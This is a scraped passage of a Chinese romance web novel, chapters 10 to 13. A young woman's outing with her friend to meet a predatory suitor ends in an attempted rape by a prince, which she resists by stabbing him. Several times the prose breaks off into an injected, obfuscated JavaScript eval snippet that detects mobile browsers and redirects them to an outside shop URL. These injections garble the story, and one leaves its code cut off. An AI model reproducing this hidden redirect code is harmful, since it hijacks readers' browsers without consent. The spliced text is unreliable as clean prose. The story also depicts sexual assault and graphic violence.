李怀山已过十六岁,加之这一年家中的变化,早就已经褪去了曾经孩童的青涩,在书院也被夫子夸奖成熟稳重。 唯独在面对自己姐姐的时候,还像个孩子,尽管他站在李亭鸢面前时需要俯看她了。 李怀山低头盯着自己姐姐的脸色细细看了片刻,见她面上神情并无忧愁,脸色也没什么不对,这才放下心来。 他笑道: “今日从书院中抽空出来,是想告诉阿姐一件好消息。” 李亭鸢笑着替他整了整衣襟: “什么好消息?” 说起这个,李怀山的语气里漫上兴奋,“薛清鸿薛大儒同意收我做弟子了!” 李亭鸢整理衣襟的动作一顿,唇角的笑意渐渐落了下去。 察觉到她情绪不对,李怀山原本的亢奋夜慢慢变成了不解,小心翼翼瞅着她问道: “阿姐……阿姐可是不高兴了?” 李怀山急道: “若是阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153399|196470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐不愿意我拜入薛大儒门下,我即刻便……” “不!” 李亭鸢闻言倏地回神,立刻制止,“不,阿姐很高兴!” 她眼睫轻垂,再抬起时眸中已看不出任何旁的情绪,只笑道: “薛清鸿大儒名满东周,能做他的弟子是莫大的荣耀,阿姐替你骄傲,快跟阿姐讲讲,薛大儒是如何突然收你做弟子的?” 李怀山往四周看了眼,压低了声音: “此事还要多亏了崔大人,就是……崔家那位嫡长子崔琢,阿姐这几日在崔府,应当见过他吧?” 李亭鸢心念一动,喉咙滚了滚,“嗯。” 李怀山接着道: “昨日我正在书院中与同窗因夫子布置的一个问题辩论,不知何时崔大人与薛大儒竟一起来了书院,崔大人听闻我的辩词,颇感兴趣,当场便考较了我一番,我的回答应当是令崔大人和薛大儒十分满意的,崔大人就顺嘴提了一句‘若将此子收做徒弟加以培养,日后定不可估量’,于是薛大儒便将我收做了徒弟。” 李怀山越说越兴奋,言语之间洋溢着自豪与难以置信。 “我都不敢相信我真是走了大运了!阿姐,你说薛大儒不会只是随口一说吧?” 李亭鸢听他这般说,不自觉想起昨日崔琢在书房时对她的冷言冷语,心里头一时说不清自己是何滋味。 “阿姐?” 见她神色恍惚,李怀山又唤了声。 李亭鸢蓦地回神,对他扯了扯唇角,安慰道: “不会的,薛大儒德高望重,定不会在这种事情上开玩笑,他既说了收你做徒弟,便一定是认真的。” 虽然不知崔琢此举何意,但弟弟能如愿拜入薛清鸿门下,李亭鸢内心深处还是替他感到高兴的。 她眼里沁出笑意,摸了摸李怀山的脑袋: “而且我的弟弟本身就很优秀,才会得薛大儒赏识不是?” 李怀山被她说的不好意思,挠了挠头,一抬头,忽然眼睛一亮,“瑶瑶姐?” 李亭鸢循着声音一道回头,反应同李怀山一般,也是眼前一亮,过去挽住了她: “这是谁家仙女下凡了呀?否则我怎不知世间竟有如此貌美的女子?” 崔月瑶今日用心打扮过,穿了一身妃色裙衫,外罩同色系的纱衣,腰身被月白色绣妃色海棠花的腰带收束得不盈一握,头上的金丝流苏牡丹步摇在日光下熠熠生辉。 整个人明艳中又带了一丝温婉,着实让人惊艳。 她被李亭鸢说得不好意思,暗暗掐了她一把,笑看向对面的李怀山: “想不到怀山如今都长这么大了。” 记忆里的小孩子如今长成了比她还要高出一头的少年。 李怀山被她说得耳朵悄悄泛了红,不敢直视她的眼睛,只低低唤了声,“姐姐。” 李亭鸢拍了拍他,“若是无事你就尽快回书院吧,出来太久不好,我和瑶瑶姐还有要事。” “姐姐要去哪儿?我可载你们一程。” 崔月瑶笑着婉拒: “不必了,崔府的马车已经备好了,我要同你姐姐去游湖。” “游湖……” 李怀山默念了一下,忽然抬头盯着崔月瑶,语气急切: “你可是又要去见那姓蒋的?!” “怀山!” 李亭鸢没想到他如此失礼,加重了语气唤他。 李怀山轻咳一声,重新低下头去,掩住眼底一闪而过的晦黯之色: “是怀山失礼了,姐姐们慢走。” 11. 第 11 章 崔府的马车和明德书院的马车分头而行,很快到了凌波湖。 这个时节来游湖的人还不算多,湖边只停了一艘两层的画舫,那一身长衫文人扮相的蒋徐安便立在画舫前的岸边。 见到崔府的马车停下,他迎上前来,语气脉脉: “瑶瑶。” 李亭鸢察觉到崔月瑶的眼眶有些红,她握了握她的手,陪着她一道走出马车。 蒋徐安似是没想到马车内还有别人,先是一愣,在看清李亭鸢的面容时眼底闪过一抹惊艳之色。 不过很快,他又重新看向崔月瑶,小心翼翼将人扶了下来。 “路上可有颠簸?前几日你去信给我说身子不适,如今可好些了?我送你的那些补身子的药吃着可还顶用?” 蒋徐安一路嘘寒问暖。 崔月瑶很快便忘记了自己即将同他了断之事,在他的关切中唇角慢慢翘了起来。 李亭鸢在两人身后跟着,视线百无聊赖地一扫,忽觉那画舫二楼似是有个人影闪过。 等她停下脚步再仔细看过去的时候,却只有窗边的竹帘随风微微摆动。 好似方才那一眼只是她的幻觉一般。 李亭鸢紧走两步,赶在前面两人即将登上画舫的时候,开口问道: “敢问蒋公子,这画舫中可还有别人?” 蒋徐安一怔,随即回身看着她笑道: “并无旁人,我与瑶瑶在一起——” 他回头含情脉脉地看着崔月瑶,拉起她的手,“我与瑶瑶在一起,怎会让旁人打扰。” 蒋徐安的视线又重新落到李亭鸢身上,笑道: “当然,李小姐是瑶瑶的朋友,便也是我的朋友,李小姐跟着一道来蒋某喜不自胜,自然算不得蒋某口中的‘旁人’。” 他的视线太过直白,令李亭鸢浑身有种莫名的不适感。 她蹙了蹙眉避开他的视线,又抬头往二楼上那空荡荡的窗口扫了一眼,没再说什么,跟了上去。 画舫里除了一个宽敞的大厅外,还有许多隔间。 李亭鸢去了蒋徐安和崔月瑶隔壁的房间里。 好在那房间的书架上放着几本时下流行的话本子,李亭鸢便抽出一本坐到窗边看了起来。 时间不知不觉过去,一本话本看完,李亭鸢扭了扭发硬的脖子,瞧着隔壁还没有动静,便又走回到那边的书架上打算再挑一本。 然而她的手才刚搭上书架,在书架的最上方一本封面上没有写字的书吸引了她的注意力。 李亭鸢垫脚将那本书拿了下来,有些奇怪明明是被束之高阁的书,却没有一丝灰尘,说明时常被人翻阅。 她怀着好奇心将书打开。 起初几页还是一些奇闻志怪,然而等翻到中间的时候,书页中突然出现了一对浑身赤//裸交缠在一起的男女。 李亭鸢脑中“嗡”的一声,手中的书也下意识被她扔了出去。 她眨了眨眼,抚着胸口心虚地往四周看了一眼。 倘若……倘若她方才没看错,那本书……那本书竟是一本春宫图。 就在此时,隔壁崔月瑶的房间忽然传来一声娇吟。 尽管那声音被极力压下,李亭鸢还是捕捉到了。 她又往地下那本书上看了一眼,而后像是陡然明白过来什么一般,提着裙摆就冲了出去。 “月瑶!崔月瑶!” 李亭鸢疯狂拍打隔壁的门,大声唤道。 房间里的声音先是一停,而后很快传来窸窸窣窣的声音。 又过了片刻,房门被打开。 崔月瑶嫣红着一张脸,唇脂被晕开,发丝凌乱,衣衫也略有不整。 李亭鸢见状眼前猛地一黑。 她强迫自己镇定下来,看向随后跟来的蒋徐安,极力掩着自己慌乱的心跳,笑道: “此刻天色已晚,我差点儿忘记临出门前兄长命我和月瑶酉时前回府,说是府中有贵人到访。” 李亭鸢见崔月瑶要说话,暗暗掐了她一把,对蒋徐安一脸为难道: “所以还请蒋公子……” 她的语调拖得很长,似是有些为难的样子,实则所有的注意力都集中在了蒋徐安身上。 一颗心全随着他每一个微小的表情而忽上忽下。 李亭鸢说话的时候,蒋徐安就站在崔月瑶身后赤裸裸地盯着她。 闻言他勾了勾唇角,倒是一副通情达理的模样: “此事好说,瑶瑶的事都是大事,我这便送二位回岸上,切不可耽误了。” 李亭鸢被他的目光盯得发毛,暗暗吞咽了一下,悄悄在袖中抹了抹手心的冷汗: “如此,便多谢蒋公子了。” 船靠岸的过程中,李亭鸢的心始终紧绷着,犹如悬在热锅上不敢有一丝松懈。 直到两人上了岸,重新坐回崔府的马车上,李亭鸢提着的一口气猛地一泄,这才身子一软瘫在了榻上,猛地呼吸了两下。 崔月瑶面色有些红,怯怯偷瞄她,似是想问她什么,几经张嘴又羞得问不出口。 李亭鸢给自己猛灌了两杯凉茶,缓了会儿冷静下来,拉着崔月瑶严肃问道: “瑶瑶,你可与他……与他有过……” 崔月瑶知道她问的是什么,摇了摇头,“没有。” 李亭鸢松了口气,旋即又蹙起了眉: “那今日……” 今日崔月瑶的样子,可不像是与蒋徐安只搂搂抱抱那么简单。 “我、我也不知道自己怎么回事儿,本来今日就打算同他说一说我们的事,也好为将来彻底了断的时候做好铺垫,谁料在房间里坐了没一会儿,我便感觉口干舌燥,蒋郎他……他便劝我将外裳脱了。” 崔月瑶面颊飞上一抹红晕,低头抠着手指: “可他一靠近,我就有些情难自禁,再加上他说了些动情的话,我便、便控制不住自己了。” 崔月瑶的话让李亭鸢立刻想起了三年前自己的遭遇。 也许崔月瑶自己不明白,但李亭鸢却是什么都清楚。 她握住崔月瑶的手,看着她的眼睛,极其认真道: “月瑶,你若是将我当朋友,信得过我,改日就去见他与他彻底说清楚,不,最好不要见面,就写信,同他断了!” 若是此前李亭鸢还觉得自己会不会误会了蒋徐安。 但时隔三年再见到他,看到他看自己的眼神,还有那画舫中的春宫图,她完全可以确信,蒋徐安此人绝非良善。 崔月瑶原本绯红的脸色在听到这句话时,“唰”的一下变得苍白,眼眶却飞快红了起来。 她咬着唇,紧紧攥住李亭鸢的手。 良久后,无声点了点头,低头的瞬间,眼泪跟着一块儿滚落。 李亭鸢叹了口气,轻轻将她眼角的泪渍抹去。 二人回到崔府后,李亭鸢在春棠苑陪了崔月瑶两个时辰。 直到将人哄着睡下,李亭鸢这才回到清宁苑,拿起账本,想了想,朝着崔琢的松月居走去。 昨夜下了雨,今夜月色空明。 明亮的月光仿佛在青石板的小路上铺了一层白霜一般。 四下清寂,冷风吹着树影摇曳。 李亭鸢刻意将脚步放慢了些,任由湿润的夜风吹在脸上,享受了片刻的宁静。 松月居书房的灯依旧亮着。 橙黄色的暖光透过绢丝纱窗柔柔地落下,驱走了落在地上的冷白色月光。 窗子上隐隐映出一个端坐在案前的影子。 李亭鸢在大门口的位置站定,静静盯着那道窗子看了会儿,才抬脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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偶尔桌上的烛火突兀地在两人间炸开几声,光影一阵晃动,很快再度恢复寂静。 屋子里的气氛浓稠,空气似乎都停止了流动。 时间不知不觉过去,李亭鸢的腿也站得隐隐泛酸。 她抬头悄悄瞧了他一眼,见他仍然没有要开口的意思,双腿在裙摆下暗暗活动了几下。 她知道崔琢这般做是什么意思。 但自从那日他说过她受不了委屈那句话之后,李亭鸢的委屈似乎就当真少了不少。 就在李亭鸢实在站不住,又想悄悄挪动双腿的时候,崔琢才搁下笔,掀起眼帘看着她,缓缓开了口: “可知我为何让你站这般长时间?” 李亭鸢急忙重新站端,语气里有几分执拗: “世子是怪我未对月瑶多加劝阻,反倒同她一道去见了那蒋徐安,险些将她置于险境。” 李亭鸢知道,这些事情定然是瞒不过他的,索性自己先承认了。 不过尽管知道缘由,说出这番话的时候,她在心里仍然忍不住自嘲。 崔月瑶是他嫡亲的妹妹,即便是她去见了蒋徐安,可到最后他动怒惩罚的却是她。 寄人篱下,就活该这般卑微么? 李亭鸢勾了勾唇,“倘若世子觉得……” “险些落入险境的只她一人么?” 她的话未说完,崔琢蓦地开了口,语气沉沉的。 李亭鸢呼吸一滞。 男人幽暗的眸子如同一张网,紧紧锁着她,原本平静的语气里已经少见的染上了怒意: “李亭鸢,崔月瑶不知天高地厚,你也不知?!” 崔琢“啪”的一声将手中的书册掷在案上: “两个姑娘独身上了男人的船,李亭鸢,你就没考虑过后果么?!” 12. 第 12 章 李亭鸢被他突然的发难吓了一跳。 这还是她第一次见他发怒。 尽管知道他这句话也许是在关切崔月瑶的前提下“顺便”也关心了她。 但崔琢的语气还是令她十分难堪。 从前的李亭鸢没有这般矫情,在父母双双过世那半年里,独自扛起这个家的时候,她都没有这样频繁的哭过。 兴许因为对方是崔琢,是与她有过肌肤之亲之人,所以面对他的训斥,她才会觉得那般难以接受。 李亭鸢死死咬着唇,任由眼泪在眼眶里打转。 见她低着头默不作声,崔琢也察觉到自己语气的失控。 他揉了揉眉心,放缓了语气: “坐下说话,账本呢?” 李亭鸢将账本放到他的书案上,依旧不语。 崔琢扫了她一眼,拿起她整理过的账册翻开来。 男人看得很慢,翻书的动作放轻了不少,一板一眼皆透露着文人的雅。 良久,他将她整理的账册放下来,重新看向她: “君子不立于危墙之下,此后莫要再涉险。” 李亭鸢的情绪也已经平复了下来,闻言颔首: “世子放心,今后我定不会再让月瑶置于险境。” 听她又提起崔月瑶,崔琢薄唇翕动了几下,最后终是什么都没再说,手指轻点了下账册: “账本无误。” 崔琢顿了下,“现下,你可以唤我一声兄长,亦可以按你此前的计划——” 他抬眸紧盯着她的眼睛,一字一顿说得平静: “离开崔府。” 李亭鸢的心上像是被匕首飞快划过,短促又尖锐地疼了一下。 男人的目光很平静,然而细看下去,平静之下又像是蛰伏着一闪而过的暗流。 李亭鸢抿了抿唇,沉默片刻,郑重回道: “我出身低微,没有那么多智谋与心思,倘若再发生今日之事定也护不得月瑶周全,亦无法替崔府挣脸面,所以今日,我正式向世子请辞,这些时日的叨扰终是我不自量力,明日我就离开崔府。” 她怕他不肯放人,定定迎着他的目光,眼神里有股莫名的执拗: “世子放心,离开后,我不会再与崔府攀上任何瓜葛,更不会利用崔府在外行自己的便利。” 崔琢听她这番决绝的说辞,眉心微不可察地蹙了蹙,盯着她的眼神不由黯了几分。 李亭鸢垂眸,并未察觉到他眼底的情绪变化,接着道: “不过我还是要谢过世子,替我弟弟怀山牵了线,我今日亦完成了您交代的任务,我们之间……” 李亭鸢眼睫轻颤了几下,艰涩开口: “我们之间,两清了。” 崔琢眼神愈发晦黯,静静看了她半晌,忽然,扯唇轻笑了声: “两清?” 他似是对她说的这两个字充满嘲讽。 李亭鸢攥着手心的手指收紧。 她抬头看他,就见崔琢垂着眸,慢条斯理地整理着袖摆,冷白色的手背上青筋蜿蜒。 “既如此,你回去收拾就是,至于崔月瑶那里——你自己去同她说明。” 他的语气幽深,充满冰冷和淡漠。 李亭鸢紧绷的一口气忽然松了下来,心中因为自己方才多余的担忧而微微自嘲。 她扯了扯唇角,端正行礼,“亭鸢谢过世……” “主子。” 李亭鸢的话未说完,崔吉安突然敲响了书房的门,“宋公子来了,此刻正在门口候着。” 崔琢闻言,抬眸扫了李亭鸢一眼。 那一眼中的神色充满深意。 李亭鸢有些摸不着头脑,但还是极有眼力见道: “既然世子有事要忙,我先出……” 还未说完,她的话就被崔琢打断了。 “去内室候着。” 崔琢的语气很淡,但又带着不容置疑的强势。 李亭鸢眼神里飞快闪过一抹诧异,往门外看了一压,迟疑片刻,敛眸恭顺道: “是。” 等她在内室站好,停了几息,才听到崔琢对门外的崔吉安吩咐,“让他进来。” 李亭鸢看不到外面的情形,只听得一阵脚步声走了进来,紧接着,一道声音响起: “宋某拜见崔大人。” 那声音有些熟悉,温润中带着些笑意。 李亭鸢仔细回想了片刻,终于想起这个所谓的宋公子,就是那日在白马寺外的那个白衣男子。 她没有听人墙角的习惯,只听了这一句后便寻了个椅子规矩地坐了下来。 然而内室和外面中间只隔了一层锦帘,尽管她不想多听,两人的对话还是不可避免地落进了耳中。 李亭鸢听了个大概,约莫是在说今年春闱之事。 听起来,这个宋聿词应当是今年乡试和会试的魁首,在即将到来的春闱中亦备受多方瞩目,极有可能是东周建朝以来第一个连中三元之人。 “若非世子您未参加科考,又哪里有宋某的事。” 李亭鸢听宋聿词这般说,才想起来,崔琢是以世家子的身份直接入的仕,未曾参加过科考。 在旁的学子还在苦读的年纪,他已经在朝中声名大噪。 李亭鸢没听见崔琢说话。 等了会儿,就在她的思绪逐渐开始神游的时候,忽然无意间听人提起了自己。 她听见宋聿词问崔琢: “对了,宋某还有一事想请教崔大人,那日在白马寺前那位女子……是大人的何人?” 李亭鸢心脏没来由地一颤,下意识竖起了耳朵。 然而等了片刻,都未等到崔琢的回答。 窒息的沉默被无限拉长,她在一片针落可闻的寂静中越发忐忑,身子无意间紧绷了起来。 也不知过了多久,外面有了轻响。 似乎是崔琢指节敲打在桌案上的声音,“叩叩叩”的几声砸进她的耳中。 李亭鸢听见崔琢清冷到近乎没有情绪的声音。 他一字一顿漫不经心地说: “不过是个无关紧要之人而已。” “咣当”一声,内室传来什么东西落地的声音。 宋聿词先是一怔,随后抬眸瞧了崔琢一眼,语气暧昧道: “看来宋某今夜来的不是时候,打扰了大人的好事。” 崔琢手指微蜷,低低“嗯”了声,也不否认: “此刻离开,也还来得及。” 宋聿词轻笑,起身行礼: “正事说完了,宋某这就告辞。” 说罢,他的眼神再度好奇地往内室扫去。 然而才刚偏头,余光便瞥见上首男人看过来的视线倏然变得沉冷。 宋聿词讪讪收回视线,出了门。 过了许久,内室才有了动静。 雅白色的锦帘后,李亭鸢走出来时脸色苍白。 崔琢眼底泛起一丝波澜,很快又归于平静,不动声色地捻动扳指,注视着她。 李亭鸢有些魂不守舍,出来后勉强对他行了一礼,嗓音喑哑: “世子没什么吩咐,亭鸢也告辞了。” 说完也不等崔琢开口,径直转身朝外走。 “李亭鸢——” 崔琢在她的手刚触上门板的时候叫住了她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153401|196470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李亭鸢动作顿住,死寂的面容上闪过一丝情绪波动。 然而等了许久,身后之人才再度出声: “算了,你走吧。” 她紧绷的双肩倏地一塌,毫不犹豫地推开了房门。 冷风一瞬间拂面而来。 李亭鸢不知自己是如何走出松月居的。 只是此刻的月光还如来时那般明亮皎洁,可她的心却沉甸甸的,脑海中近乎自虐般不断回想着崔琢的那句话。 其实他说的没错。 他不记得三年前那件事,在他的视角下,她就是一个无关紧要的人。 是一个借住在崔府妄图打秋风的客人,是屡屡破坏他的“规矩”、冲撞他,令他不喜之人。 甚至明日,她就会离府。 不知是委屈更多,还是自嘲和羞愧更多。 李亭鸢拢了拢身上的披风,她那么喜凉的人今夜都感到了一丝寒冷。 她在清宁苑与春棠苑的岔路口站定,瞧着崔月瑶的春棠苑,满肚子冲动想要此刻便去告诉她,她欲离府之事。 然而理智终究更甚一筹。 李亭鸢回头看了眼地势高处仍亮着灯的松月居,暗暗下定决心,明日一早天一亮,她就去找崔月瑶和崔母辞行。 - 李亭鸢这一夜几乎没怎么睡,收拾完行李就坐在窗边看着窗外的月色发呆。 她也没有特意去想什么,就是想要这样彻底放空自己。 等到天边泛起了鱼肚白的时候,她起身用冷水洗了把脸,稍微涂抹了些脂粉遮住自己苍白的脸色后,出门朝春棠苑行去。 然而才刚踏出清宁苑的院门,就见崔月瑶急匆匆地朝这边跑来。 她跑得狼狈,发髻都未梳好。 “月瑶!” 李亭鸢担忧地喊住她。 崔月瑶听见声音这才像是发现她人一般,紧跑几步扑到她身前,死死攥住她的手臂,哭得仓皇失措: “沅姝、沅姝……他、他自杀了!” 李亭鸢愣了一下,当即反应过来她口中的“他”是谁。 她扶住崔月瑶摇摇欲坠的身子,蹙眉冷声道: “你别急,咱们进屋慢慢说。” “来不及了……” 崔月瑶眼泪不停从白皙的脸颊滚落,“我、我要去见他,沅姝,你帮我!求你帮帮我!最后一次!求你了!我就去见他最后一次!” 李亭鸢秀眉紧紧拧在了一起,脑中不知怎的就想起了崔琢昨夜的那些话。 见她犹豫,崔月瑶松开她,一边摇头一边后退,浸满眼泪的眼底满是绝望和决绝: “你不愿帮我……你不愿帮我我就自己去!” 说罢,她转身就往侧门的方向跑去。 李亭鸢见此心猛地一提,高声唤她: “崔月瑶!” 她狠了狠心,一跺脚追上去: “我帮你去见他这最后一次,今后你跟他可能断了?” 她知道,今日就算她不陪她去,以崔月瑶的性子和对蒋徐安的情谊,定然也会千方百计地偷着去。 与其如此,不如她陪着她,还能放心些。 崔月瑶听后,忙不迭地点头,哭腔更甚: “我、我答应你,今日最后见他一面,我就跟他断了!” 李亭鸢从未见过崔月瑶哭得这般伤心过,心疼地握了握她的手,忽然想到什么似的,对她说: “你等等我,我去取样东西!” 她怕崔月瑶自己一个人偷溜,提着裙摆拼命跑进屋子,在床脚的箱子最底下翻出那柄嵌着红玛瑙的匕首,拿在手里颠了颠,收进袖中匆匆跑出门。 13. 第 13 章 出府的马车上,崔月瑶在李亭鸢的安抚下,情绪渐渐回落了下来,才将事情对李亭鸢道明。 “昨夜我按你说的,写信同他了断,他收到信后并未回信,我以为他已心死……” 崔月瑶用帕子沾了沾眼角,声音哽咽: “我一夜难眠,今日一早,便听雪燕说他居然、居然投湖自杀了……” 李亭鸢知道雪燕是崔月瑶的婢女,她和蒋徐安之间的联系一直靠她。 她叹了口气: “那他人呢?” “我知道我哥哥会盯着徐安,所以我让雪燕找人给他换了地方,就在、就在倚月楼的后院。” “倚月楼?!” 李亭鸢大吃一惊。 尽管她从未去过京城的花街柳巷,也听过倚月楼的名声。 崔月瑶有些不好意思,轻轻晃着她的手臂,可怜兮兮乞求: “沅姝,可不可以求你再帮我一个忙,让……让你弟弟送我们去,就去看一眼,只要确定他还好好活着,我就回来。” 李亭鸢能说什么。 都到了如今这一步了,况且怀山再怎么说也是个男子,有他陪着,想来也能稳妥些。 李亭鸢掀开车帘往外看了眼,“那便先绕道去明德书院。” 李怀山正在同夫子讨论经史,听闻有人在外等他,忙向夫子告了假,一路小跑着来到门口。 “阿姐!” 李怀山笑着跑过去,“今日怎么想着来找我……” 话音刚落,马车的帘子再度被掀开,露出崔月瑶那张刚刚哭过的梨花带雨的脸。 李怀山的笑意猝然间落了下来,眼底闪过一抹阴鸷,急道: “可是有谁欺负你了?” 他回头,“阿姐,你们遇到什么难处了?” 李亭鸢欲言又止了一下,才道: “阿姐需要你陪我们去个地方。” 李怀山很快反应过来,语气沉了下去,“去见姓蒋的?他怎么月瑶姐了?” 李亭鸢回头看了眼车上的崔月瑶,压低声音对李怀山道: “先上车再说。” 李怀山阴沉着脸上了车。 刚一上去他就攥住崔月瑶的手腕,“姓蒋的怎么你了?” 少年郎的手劲儿大得出奇,崔月瑶嘶了声,不知怎的,眼泪便又开始扑簌簌往下掉。 原本还怒意冲冲的李怀山愣了一下,随即脸上的杀意褪去,转而变成了不知所措和愧疚。 “你、你别哭了,我不是故意弄疼你的,姐姐,瑶瑶姐……” 他想上去替她擦泪,瞧见她泛红的眼尾又恐唐突了她,一时红着一张脸手足无措。 李亭鸢瞪了他一眼,默默给崔月瑶递了帕子,才悄声在李怀山耳边将事情的来龙去脉说清楚。 她往李怀山的脸上一瞥,蹙眉道: “你笑什么?” 李怀山轻咳一声,视线余光瞥过崔月瑶又飞快收回来,正襟危坐道: “我笑了么?” 李亭鸢拍了他一下: “总之待会儿,你负责看护好月瑶的安全。” 李怀山点头,“放心。” 马车在文昌路口停下,三人悄无声息换了另一辆马车,又绕着城东驶了一大圈,最后才停在花柳巷外。 李亭鸢给自己和崔月瑶带上帷帽,扶着她一道下了马车。 倚月楼在花柳巷的中间,崔月瑶又心急走得快,三人走了不到一盏茶的功夫就到了。 许是雪燕提前打点好了,李亭鸢他们进去的时候并未有人阻拦,反而有一个龟奴模样的男子默不作声领着他们上了三楼。 原本李亭鸢还害怕蒋徐安是故意使诈。 但等两人进去,看见那躺在床上奄奄一息的男人时,她的戒心才放下了一半——看起来,他确实是一副刚从鬼门关走了一遭的样子。 崔月瑶一看见蒋徐安这个样子,再忍不住了,一下子扑到了他的床边,抚着他的脸哭。 李亭鸢叹了声,轻轻在她背上抚了抚: “你与他说说话,我去隔壁等你。” 她在房间里巡视一圈,确定没什么问题才走出门,对门口的李怀山道: “我们去隔壁等她。” 李怀山没动。 李亭鸢奇怪地回头看了他两眼。 李怀山轻咳一声,摸了摸鼻尖,解释道: “我在门口守着吧,以防万一。” “也好。” 李亭鸢没多想,点了点头,自己去了隔壁房间。 这次她并未像上次那般随意翻看书籍消遣,而是随时竖起耳朵关注着隔壁的动静。 时间一点一滴过去,就在她觉得差不多该叫她走的时候,变故却在一瞬间发生了! 隔壁房间里忽然传来崔月瑶的惊呼声: “蒋徐安!蒋徐安你疯了你放开我!” 与此同时,李亭鸢房间的门也被人猛地打开,一个锦衣华服的男人出现在门口。 “阿姐!” 李怀山看起来应当是刚准备去隔壁找崔月瑶,听到这边的动静匆匆冲了过来。 李亭鸢看了眼闯进来的男人,当机立断对弟弟喊道: “先去救月瑶!” 李怀山还要犹豫,那边房间忽然传来一声尖叫。 李怀山脸色一变,猛地冲了出去。 那锦衣华服的男子似是对这些变故完全没有放在心上,他眯眼瞧了瞧李亭鸢,笑道: “原来近看才发现,竟是这般绝色。” 李亭鸢吞了吞口水强迫自己镇定下来,一边后退一边悄悄将手缩回袖中。 “昨日画舫二楼的,就是你吧!” 那男人愣了一下,随即抚掌笑道: “倒是我小瞧了你,我这人最爱绝色女子,当然,聪明的绝色女子更是令人爱不释手。” 他一边逼近她一边笑道: “你可知道我是谁?” “成顺郡王。” “你知道我?” 李亭鸢如何能不知道这个男人。 他是皇帝的外甥,同郭樊他们总是混迹在一处,李亭鸢从前躲着郭樊,便连他身边的人也知晓一二。 这人是个比郭樊还要劣迹斑斑的男人。 李亭鸢已经退至最后,脊背抵着冰冷的墙面。 隔壁没了响动,也不知李怀山追去了哪里。 她视线往四周瞟了眼,一面寻找逃脱的机会一面拖延时间。 “京中女子谁人不知成顺郡王,不知殿下今日找我所为何事?” 成顺郡王眯了眯眼,一个箭步上前攥住李亭鸢的手腕,就将她往床上拖。 男人身上的香气令人窒息。 那股黏腻厚重的味道争先恐后钻入李亭鸢的鼻腔,令她每一次呼吸都感到黏稠的阻滞,胃部更是一阵一阵忍不住痉挛般抽搐。 “你少给我装蒜!我什么心思你能不知道?!乖乖跟了我今后保你荣华富贵,胆敢反抗——” 他一把将李亭鸢甩在床上,语气瞬间变得狠戾: “让你生不如死!” 李亭鸢被这么一扔,整个人砸得头昏脑涨,后背的钝痛扩散开来。 她还未来得及喘息,那个身形高壮的男人就已经压了上来,上下其手扒她的衣裳。 李亭鸢尖叫一声,“不要!” “不要?我看你们女人就是爱欲拒还迎!” 成顺郡王的身躯如山一般,带着不容抗拒的力道和令人作呕的热度。 到了此刻男女力量的悬殊才让她知道了害怕。 所有强装的镇定在衣衫被他撕开的瞬间土崩瓦解。 她疯狂挣扎起来。 浑浊滚烫的气息喷在耳侧,有种难以言喻的污浊感直冲她头顶。 李亭鸢胃里猛地一缩,厌恶如同潮水翻涌,带着腥咸几乎要冲破喉咙。 “放开我!” 她嘶声喊道,双手奋力抵住他的胸膛,拼命躲闪着。 没有哪一刻如现在这般绝望过,连同近乎灭顶的羞耻和愤怒,一起烧灼着李亭鸢的肺腑。 恶心感越来越强烈,成顺郡王的手抚上她的脸,粗糙的触感像是某种令人作呕的冷血动物爬过。 李亭鸢猛地颤栗,眼泪不受控制地涌上眼眶,又被她死死憋了回去。 极致的恐惧催生出近乎本能的狠厉。 她强行抑制住身体的颤抖,借着衣袖的遮掩急切地翻找着。 终于,她的指尖碰到了那冰凉而僵硬的触感。 就在身上那只手试图更进一步钻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153402|196470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进她衣襟的刹那,李亭鸢眼底最后一点慌乱被破釜沉舟的狠厉所取代。 她不知从何处爆发出一股惊人的力气,猛地抽出袖中的匕首。 寒光乍现。 李亭鸢没有任何犹豫,绝望之下迸射出强烈的求生欲,挥起匕首狠狠朝着身上之人的颈侧刺去! 她用尽了所有力气。 伴随着“噗嗤”一声,那柄镶嵌着红玛瑙的匕首完整没入了皮肉。 鲜血喷涌而出,浸湿了她的手指和袖口。 成顺郡王的动作骤然僵住。 他撑着身子站起来,不敢置信地低头看向自己泅出血色的衣袍,又猛地看向身下的李亭鸢。 李亭鸢的身上也溅了血迹。 她紧紧握着匕首,指节因为过分用力而泛白。 她大口喘息着,脸色苍白如纸,上面鲜红的血迹触目惊心,额发被冷汗浸湿,紧贴在颊边,然而一双眸子却亮得惊人,似是燃烧着灼热的火焰,混杂着未曾消散的恐惧与厌恶。 